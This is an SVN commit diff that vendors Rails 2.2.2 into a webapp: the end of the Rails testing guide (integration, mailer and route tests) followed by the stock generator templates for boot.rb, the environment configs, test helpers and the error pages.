+==== Additional View-based Assertions ====
+
+There are more assertions that are primarily used in testing views:
+
+[grid="all"]
+`----------------------------------------------------------------------------------`-------------------------------------------------------
+Assertion                                                                          Purpose
+------------------------------------------------------------------------------------------------------------------------------------------
++assert_select_email+                                                              Allows you to make assertions on the body of an e-mail. 
++assert_select_rjs+                                                                Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element.
++assert_select_encoded+                                                            Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
++css_select(selector)+  or +css_select(element, selector)+                         Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.
+------------------------------------------------------------------------------------------------------------------------------------------
+
+Here's an example of using +assert_select_email+:
+
+[source,ruby]
+--------------------------------------------------
+assert_select_email do
+  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
+end
+--------------------------------------------------
+
+== Integration Testing ==
+
+Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application. 
+
+Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you. 
+
+[source, shell]
+--------------------------------------------------
+$ script/generate integration_test user_flows 
+      exists  test/integration/
+      create  test/integration/user_flows_test.rb
+--------------------------------------------------
+
+Here's what a freshly-generated integration test looks like:
+
+[source,ruby]
+--------------------------------------------------
+require 'test_helper'
+
+class UserFlowsTest < ActionController::IntegrationTest
+  # fixtures :your, :models
+
+  # Replace this with your real tests.
+  def test_truth
+    assert true
+  end
+end
+--------------------------------------------------
+
+Integration tests inherit from +ActionController::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test. 
+
+=== Helpers Available for Integration tests ===
+
+In addition to the standard testing helpers, there are some additional helpers available to integration tests:
+
+[grid="all"]
+`----------------------------------------------------------------------------------`-------------------------------------------------------
+Helper                                                                             Purpose
+------------------------------------------------------------------------------------------------------------------------------------------
++https?+                                                                           Returns +true+ if the session is mimicking a secure HTTPS request.
++https!+                                                                           Allows you to mimic a secure HTTPS request.
++host!+                                                                            Allows you to set the host name to use in the next request.
++redirect?+                                                                        Returns +true+ if the last request was a redirect.
++follow_redirect!+                                                                 Follows a single redirect response.
++request_via_redirect(http_method, path, [parameters], [headers])+                 Allows you to make an HTTP request and follow any subsequent redirects.
++post_via_redirect(path, [parameters], [headers])+                                 Allows you to make an HTTP POST request and follow any subsequent redirects.
++get_via_redirect(path, [parameters], [headers])+                                  Allows you to make an HTTP GET request and follow any subsequent redirects.
++put_via_redirect(path, [parameters], [headers])+                                  Allows you to make an HTTP PUT request and follow any subsequent redirects.
++delete_via_redirect(path, [parameters], [headers])+                               Allows you to make an HTTP DELETE request and follow any subsequent redirects.
++open_session+                                                                     Opens a new session instance.
+------------------------------------------------------------------------------------------------------------------------------------------
+
+=== Integration Testing Examples === 
+
+A simple integration test that exercises multiple controllers:
+
+[source,ruby]
+--------------------------------------------------
+require 'test_helper'
+
+class UserFlowsTest < ActionController::IntegrationTest
+  fixtures :users
+
+  def test_login_and_browse_site
+    # login via https
+    https!
+    get "/login"
+    assert_response :success
+    
+    post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password
+    assert_equal '/welcome', path
+    assert_equal 'Welcome avs!', flash[:notice]
+    
+    https!(false)
+    get "/posts/all"
+    assert_response :success
+    assert assigns(:products)
+  end
+end
+--------------------------------------------------
+
+As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
+
+Here's an example of multiple sessions and custom DSL in an integration test
+
+[source,ruby]
+--------------------------------------------------
+require 'test_helper'
+
+class UserFlowsTest < ActionController::IntegrationTest
+  fixtures :users
+
+  def test_login_and_browse_site
+    
+    # User avs logs in
+    avs = login(:avs)
+    # User guest logs in
+    guest = login(:guest)
+    
+    # Both are now available in different sessions
+    assert_equal 'Welcome avs!', avs.flash[:notice]
+    assert_equal 'Welcome guest!', guest.flash[:notice]
+    
+    # User avs can browse site
+    avs.browses_site
+    # User guest can browse site aswell
+    guest.browses_site
+    
+    # Continue with other assertions
+  end
+  
+  private
+  
+    module CustomDsl
+      def browses_site
+        get "/products/all"
+        assert_response :success
+        assert assigns(:products)
+      end
+    end
+    
+    def login(user)
+      open_session do |sess|
+        sess.extend(CustomDsl)
+        u = users(user)
+        sess.https!
+        sess.post "/login", :username => u.username, :password => u.password
+        assert_equal '/welcome', path
+        sess.https!(false)
+      end
+    end
+end
+--------------------------------------------------
+
+== Rake Tasks for Running your Tests ==
+
+You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.
+
+[grid="all"]
+--------------------------------`----------------------------------------------------
+Tasks                           Description
+------------------------------------------------------------------------------------
++rake test+                     Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
++rake test:units+               Runs all the unit tests from +test/unit+
++rake test:functionals+         Runs all the functional tests from +test/functional+
++rake test:integration+         Runs all the integration tests from +test/integration+
++rake test:recent+              Tests recent changes
++rake test:uncommitted+         Runs all the tests which are uncommitted. Only supports Subversion
++rake test:plugins+             Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)
+------------------------------------------------------------------------------------
+
+
+== Brief Note About Test::Unit ==
+
+Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+ that it is how we can use all the basic assertions in our tests.
+
+NOTE: For more information on +Test::Unit+, refer to link:http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/[test/unit Documentation]
+
+== Setup and Teardown ==
+
+If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller:
+
+[source,ruby]
+--------------------------------------------------
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+  # called before every single test
+  def setup
+    @post = posts(:one)
+  end
+
+  # called after every single test
+  def teardown
+    # as we are re-initializing @post before every test
+    # setting it to nil here is not essential but I hope 
+    # you understand how you can use the teardown method
+    @post = nil
+  end
+
+  def test_should_show_post
+    get :show, :id => @post.id
+    assert_response :success
+  end
+
+  def test_should_destroy_post
+    assert_difference('Post.count', -1) do
+      delete :destroy, :id => @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+  
+end
+--------------------------------------------------
+
+Above, the +setup+ method is called before each test and so + at post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as ActiveSupport::Callbacks. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using:
+
+ * a block
+ * a method (like in the earlier example)
+ * a method name as a symbol
+ * a lambda
+ 
+Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol:
+
+[source,ruby]
+--------------------------------------------------
+require '../test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+  # called before every single test
+  setup :initialize_post
+
+  # called after every single test
+  def teardown
+    @post = nil
+  end
+
+  def test_should_show_post
+    get :show, :id => @post.id
+    assert_response :success
+  end
+  
+  def test_should_update_post
+    put :update, :id => @post.id, :post => { }
+    assert_redirected_to post_path(assigns(:post))
+  end
+
+  def test_should_destroy_post
+    assert_difference('Post.count', -1) do
+      delete :destroy, :id => @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+  
+  private 
+  
+  def initialize_post
+    @post = posts(:one)
+  end
+  
+end
+--------------------------------------------------
+
+== Testing Routes ==
+
+Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
+
+[source,ruby]
+--------------------------------------------------
+def test_should_route_to_post
+  assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
+end
+--------------------------------------------------
+
+== Testing Your Mailers ==
+
+Testing mailer classes requires some specific tools to do a thorough job.
+
+=== Keeping the Postman in Check ===
+
+Your +ActionMailer+ classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected.
+
+The goals of testing your +ActionMailer+ classes are to ensure that:
+
+* emails are being processed (created and sent)
+* the email content is correct (subject, sender, body, etc)
+* the right emails are being sent at the right times
+
+==== From All Sides ====
+
+There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture -- yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
+
+=== Unit Testing ===
+
+In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
+
+==== Revenge of the Fixtures ====
+
+For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory.
+
+When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself. 
+
+==== The Basic Test case ====
+
+Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action.
+
+[source, ruby]
+-------------------------------------------------
+require 'test_helper'
+
+class UserMailerTest < ActionMailer::TestCase
+  tests UserMailer
+  def test_invite
+    @expected.from    = 'me at example.com'
+    @expected.to      = 'friend at example.com'
+    @expected.subject = "You have been invited by #{@expected.from}"
+    @expected.body    = read_fixture('invite')
+    @expected.date    = Time.now
+
+    assert_equal @expected.encoded, UserMailer.create_invite('me at example.com', 'friend at example.com', @expected.date).encoded
+  end
+
+end
+-------------------------------------------------
+
+In this test, + at expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses + at expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file.
+
+Here's the content of the +invite+ fixture:
+
+-------------------------------------------------
+Hi friend at example.com,
+
+You have been invited. 
+
+Cheers!
+-------------------------------------------------
+
+This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+).
+
+However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
+
+=== Functional Testing ===
+
+Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:
+
+[source, ruby]
+----------------------------------------------------------------
+require 'test_helper'
+
+class UserControllerTest < ActionController::TestCase
+  def test_invite_friend
+    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
+      post :invite_friend, :email => 'friend at example.com'
+    end
+    invite_email = ActionMailer::Base.deliveries.first
+    
+    assert_equal invite_email.subject, "You have been invited by me at example.com"
+    assert_equal invite_email.to[0], 'friend at example.com'
+    assert_match /Hi friend at example.com/, invite_email.body
+  end
+end
+----------------------------------------------------------------
+
+== Other Testing Approaches
+
+The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
+
+* link:http://avdi.org/projects/nulldb/[NullDB], a way to speed up testing by avoiding database use.
+* link:http://github.com/thoughtbot/factory_girl/tree/master[Factory Girl], as replacement for fixtures.
+* link:http://www.thoughtbot.com/projects/shoulda[Shoulda], an extension to +test/unit+ with additional helpers, macros, and assertions.
+* link: http://rspec.info/[RSpec], a behavior-driven development framework
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8[Lighthouse ticket]
+
+* November 13, 2008: Revised based on feedback from Pratik Naik by link:../authors.html#asurve[Akshay Surve] (not yet approved for publication)
+* October 14, 2008: Edit and formatting pass by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* October 12, 2008: First draft by link:../authors.html#asurve[Akshay Surve] (not yet approved for publication)
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/boot.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/boot.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/boot.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,109 @@
+# Don't change this file!
+# Configure your app in config/environment.rb and config/environments/*.rb
+
+RAILS_ROOT = "#{File.dirname(__FILE__)}/.." unless defined?(RAILS_ROOT)
+
+module Rails
+  class << self
+    def boot!
+      unless booted?
+        preinitialize
+        pick_boot.run
+      end
+    end
+
+    def booted?
+      defined? Rails::Initializer
+    end
+
+    def pick_boot
+      (vendor_rails? ? VendorBoot : GemBoot).new
+    end
+
+    def vendor_rails?
+      File.exist?("#{RAILS_ROOT}/vendor/rails")
+    end
+
+    def preinitialize
+      load(preinitializer_path) if File.exist?(preinitializer_path)
+    end
+
+    def preinitializer_path
+      "#{RAILS_ROOT}/config/preinitializer.rb"
+    end
+  end
+
+  class Boot
+    def run
+      load_initializer
+      Rails::Initializer.run(:set_load_path)
+    end
+  end
+
+  class VendorBoot < Boot
+    def load_initializer
+      require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer"
+      Rails::Initializer.run(:install_gem_spec_stubs)
+    end
+  end
+
+  class GemBoot < Boot
+    def load_initializer
+      self.class.load_rubygems
+      load_rails_gem
+      require 'initializer'
+    end
+
+    def load_rails_gem
+      if version = self.class.gem_version
+        gem 'rails', version
+      else
+        gem 'rails'
+      end
+    rescue Gem::LoadError => load_error
+      $stderr.puts %(Missing the Rails #{version} gem. Please `gem install -v=#{version} rails`, update your RAILS_GEM_VERSION setting in config/environment.rb for the Rails version you do have installed, or comment out RAILS_GEM_VERSION to use the latest version installed.)
+      exit 1
+    end
+
+    class << self
+      def rubygems_version
+        Gem::RubyGemsVersion rescue nil
+      end
+
+      def gem_version
+        if defined? RAILS_GEM_VERSION
+          RAILS_GEM_VERSION
+        elsif ENV.include?('RAILS_GEM_VERSION')
+          ENV['RAILS_GEM_VERSION']
+        else
+          parse_gem_version(read_environment_rb)
+        end
+      end
+
+      def load_rubygems
+        require 'rubygems'
+        min_version = '1.3.1'
+        unless rubygems_version >= min_version
+          $stderr.puts %Q(Rails requires RubyGems >= #{min_version} (you have #{rubygems_version}). Please `gem update --system` and try again.)
+          exit 1
+        end
+
+      rescue LoadError
+        $stderr.puts %Q(Rails requires RubyGems >= #{min_version}. Please install RubyGems and try again: http://rubygems.rubyforge.org)
+        exit 1
+      end
+
+      def parse_gem_version(text)
+        $1 if text =~ /^[^#]*RAILS_GEM_VERSION\s*=\s*["']([!~<>=]*\s*[\d.]+)["']/
+      end
+
+      private
+        def read_environment_rb
+          File.read("#{RAILS_ROOT}/config/environment.rb")
+        end
+    end
+  end
+end
+
+# All that for this:
+Rails.boot!

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/development.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/development.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/development.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+# Settings specified here will take precedence over those in config/environment.rb
+
+# In the development environment your application's code is reloaded on
+# every request.  This slows down response time but is perfect for development
+# since you don't have to restart the webserver when you make code changes.
+config.cache_classes = false
+
+# Log error messages when you accidentally call methods on nil.
+config.whiny_nils = true
+
+# Show full error reports and disable caching
+config.action_controller.consider_all_requests_local = true
+config.action_view.debug_rjs                         = true
+config.action_controller.perform_caching             = false
+
+# Don't care if the mailer can't send
+config.action_mailer.raise_delivery_errors = false
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/environment.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/environment.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/environment.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,75 @@
+# Be sure to restart your server when you modify this file
+
+# Uncomment below to force Rails into production mode when
+# you don't control web/app server and can't set it the proper way
+# ENV['RAILS_ENV'] ||= 'production'
+
+# Specifies gem version of Rails to use when vendor/rails is not present
+<%= '# ' if freeze %>RAILS_GEM_VERSION = '<%= Rails::VERSION::STRING %>' unless defined? RAILS_GEM_VERSION
+
+# Bootstrap the Rails environment, frameworks, and default configuration
+require File.join(File.dirname(__FILE__), 'boot')
+
+Rails::Initializer.run do |config|
+  # Settings in config/environments/* take precedence over those specified here.
+  # Application configuration should go into files in config/initializers
+  # -- all .rb files in that directory are automatically loaded.
+  # See Rails::Configuration for more options.
+
+  # Skip frameworks you're not going to use. To use Rails without a database
+  # you must remove the Active Record framework.
+  # config.frameworks -= [ :active_record, :active_resource, :action_mailer ]
+
+  # Specify gems that this application depends on. 
+  # They can then be installed with "rake gems:install" on new installations.
+  # You have to specify the :lib option for libraries, where the Gem name (sqlite3-ruby) differs from the file itself (sqlite3)
+  # config.gem "bj"
+  # config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
+  # config.gem "sqlite3-ruby", :lib => "sqlite3"
+  # config.gem "aws-s3", :lib => "aws/s3"
+
+  # Only load the plugins named here, in the order given. By default, all plugins 
+  # in vendor/plugins are loaded in alphabetical order.
+  # :all can be used as a placeholder for all plugins not explicitly named
+  # config.plugins = [ :exception_notification, :ssl_requirement, :all ]
+
+  # Add additional load paths for your own custom dirs
+  # config.load_paths += %W( #{RAILS_ROOT}/extras )
+
+  # Force all environments to use the same logger level
+  # (by default production uses :info, the others :debug)
+  # config.log_level = :debug
+
+  # Make Time.zone default to the specified zone, and make Active Record store time values
+  # in the database in UTC, and return them converted to the specified local zone.
+  # Run "rake -D time" for a list of tasks for finding time zone names. Comment line to use default local time.
+  config.time_zone = 'UTC'
+
+  # The internationalization framework can be changed to have another default locale (standard is :en) or more load paths.
+  # All files from config/locales/*.rb,yml are added automatically.
+  # config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]
+  # config.i18n.default_locale = :de
+
+  # Your secret key for verifying cookie session data integrity.
+  # If you change this key, all old sessions will become invalid!
+  # Make sure the secret is at least 30 characters and all random, 
+  # no regular words or you'll be exposed to dictionary attacks.
+  config.action_controller.session = {
+    :session_key => '_<%= app_name %>_session',
+    :secret      => '<%= app_secret %>'
+  }
+
+  # Use the database for sessions instead of the cookie-based default,
+  # which shouldn't be used to store highly confidential information
+  # (create the session table with "rake db:sessions:create")
+  # config.action_controller.session_store = :active_record_store
+
+  # Use SQL instead of Active Record's schema dumper when creating the test database.
+  # This is necessary if your schema can't be completely dumped by the schema dumper,
+  # like if you have constraints or database-specific column types
+  # config.active_record.schema_format = :sql
+
+  # Activate observers that should always be running
+  # Please note that observers generated using script/generate observer need to have an _observer suffix
+  # config.active_record.observers = :cacher, :garbage_collector, :forum_observer
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/production.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/production.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/production.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+# Settings specified here will take precedence over those in config/environment.rb
+
+# The production environment is meant for finished, "live" apps.
+# Code is not reloaded between requests
+config.cache_classes = true
+
+# Enable threaded mode
+# config.threadsafe!
+
+# Use a different logger for distributed setups
+# config.logger = SyslogLogger.new
+
+# Full error reports are disabled and caching is turned on
+config.action_controller.consider_all_requests_local = false
+config.action_controller.perform_caching             = true
+
+# Use a different cache store in production
+# config.cache_store = :mem_cache_store
+
+# Enable serving of images, stylesheets, and javascripts from an asset server
+# config.action_controller.asset_host                  = "http://assets.example.com"
+
+# Disable delivery errors, bad email addresses will be ignored
+# config.action_mailer.raise_delivery_errors = false

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments/test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+# Settings specified here will take precedence over those in config/environment.rb
+
+# The test environment is used exclusively to run your application's
+# test suite.  You never need to work with it otherwise.  Remember that
+# your test database is "scratch space" for the test suite and is wiped
+# and recreated between test runs.  Don't rely on the data there!
+config.cache_classes = true
+
+# Log error messages when you accidentally call methods on nil.
+config.whiny_nils = true
+
+# Show full error reports and disable caching
+config.action_controller.consider_all_requests_local = true
+config.action_controller.perform_caching             = false
+
+# Disable request forgery protection in test environment
+config.action_controller.allow_forgery_protection    = false
+
+# Tell Action Mailer not to deliver emails to the real world.
+# The :test delivery method accumulates sent emails in the
+# ActionMailer::Base.deliveries array.
+config.action_mailer.delivery_method = :test

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/fresh_rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/fresh_rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/fresh_rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+# Add your own tasks in files placed in lib/tasks ending in .rake,
+# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+
+require(File.join(File.dirname(__FILE__), 'config', 'boot'))
+
+require 'rake'
+require 'rake/testtask'
+require 'rake/rdoctask'
+
+require 'tasks/rails'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/fresh_rakefile
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/application.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/application.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/application.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+# Filters added to this controller apply to all controllers in the application.
+# Likewise, all the methods added will be available for all controllers.
+
+class ApplicationController < ActionController::Base
+  helper :all # include all helpers, all the time
+
+  # See ActionController::RequestForgeryProtection for details
+  # Uncomment the :secret if you're not using the cookie session store
+  protect_from_forgery # :secret => '<%= app_secret %>'
+  
+  # See ActionController::Base for details 
+  # Uncomment this to filter the contents of submitted sensitive data parameters
+  # from your application log (in this case, all fields with names like "password"). 
+  # filter_parameter_logging :password
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/application_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/application_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/application_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+# Methods added to this helper will be available to all templates in the application.
+module ApplicationHelper
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/performance_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/performance_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/performance_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+require 'test_helper'
+require 'performance_test_help'
+
+# Profiling results for each test method are written to tmp/performance.
+class BrowsingTest < ActionController::PerformanceTest
+  def test_homepage
+    get '/'
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/test_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/test_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers/test_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,38 @@
+ENV["RAILS_ENV"] = "test"
+require File.expand_path(File.dirname(__FILE__) + "/../config/environment")
+require 'test_help'
+
+class Test::Unit::TestCase
+  # Transactional fixtures accelerate your tests by wrapping each test method
+  # in a transaction that's rolled back on completion.  This ensures that the
+  # test database remains unchanged so your fixtures don't have to be reloaded
+  # between every test method.  Fewer database queries means faster tests.
+  #
+  # Read Mike Clark's excellent walkthrough at
+  #   http://clarkware.com/cgi/blosxom/2005/10/24#Rails10FastTesting
+  #
+  # Every Active Record database supports transactions except MyISAM tables
+  # in MySQL.  Turn off transactional fixtures in this case; however, if you
+  # don't care one way or the other, switching from MyISAM to InnoDB tables
+  # is recommended.
+  #
+  # The only drawback to using transactional fixtures is when you actually 
+  # need to test transactions.  Since your test is bracketed by a transaction,
+  # any transactions started in your code will be automatically rolled back.
+  self.use_transactional_fixtures = true
+
+  # Instantiated fixtures are slow, but give you @david where otherwise you
+  # would need people(:david).  If you don't want to migrate your existing
+  # test cases which use the @david style and don't mind the speed hit (each
+  # instantiated fixtures translates to a database query per test method),
+  # then set this back to true.
+  self.use_instantiated_fixtures  = false
+
+  # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order.
+  #
+  # Note: You'll currently still have to declare fixtures explicitly in integration tests
+  # -- they do not yet inherit this setting
+  fixtures :all
+
+  # Add more helper methods to be used by all tests here...
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/404.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/404.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/404.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <title>The page you were looking for doesn't exist (404)</title>
+	<style type="text/css">
+		body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
+		div.dialog {
+			width: 25em;
+			padding: 0 4em;
+			margin: 4em auto 0 auto;
+			border: 1px solid #ccc;
+			border-right-color: #999;
+			border-bottom-color: #999;
+		}
+		h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
+	</style>
+</head>
+
+<body>
+  <!-- This file lives in public/404.html -->
+  <div class="dialog">
+    <h1>The page you were looking for doesn't exist.</h1>
+    <p>You may have mistyped the address or the page may have moved.</p>
+  </div>
+</body>
+</html>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/422.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/422.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/422.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <title>The change you wanted was rejected (422)</title>
+	<style type="text/css">
+		body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
+		div.dialog {
+			width: 25em;
+			padding: 0 4em;
+			margin: 4em auto 0 auto;
+			border: 1px solid #ccc;
+			border-right-color: #999;
+			border-bottom-color: #999;
+		}
+		h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
+	</style>
+</head>
+
+<body>
+  <!-- This file lives in public/422.html -->
+  <div class="dialog">
+    <h1>The change you wanted was rejected.</h1>
+    <p>Maybe you tried to change something you didn't have access to.</p>
+  </div>
+</body>
+</html>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/500.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/500.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/500.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
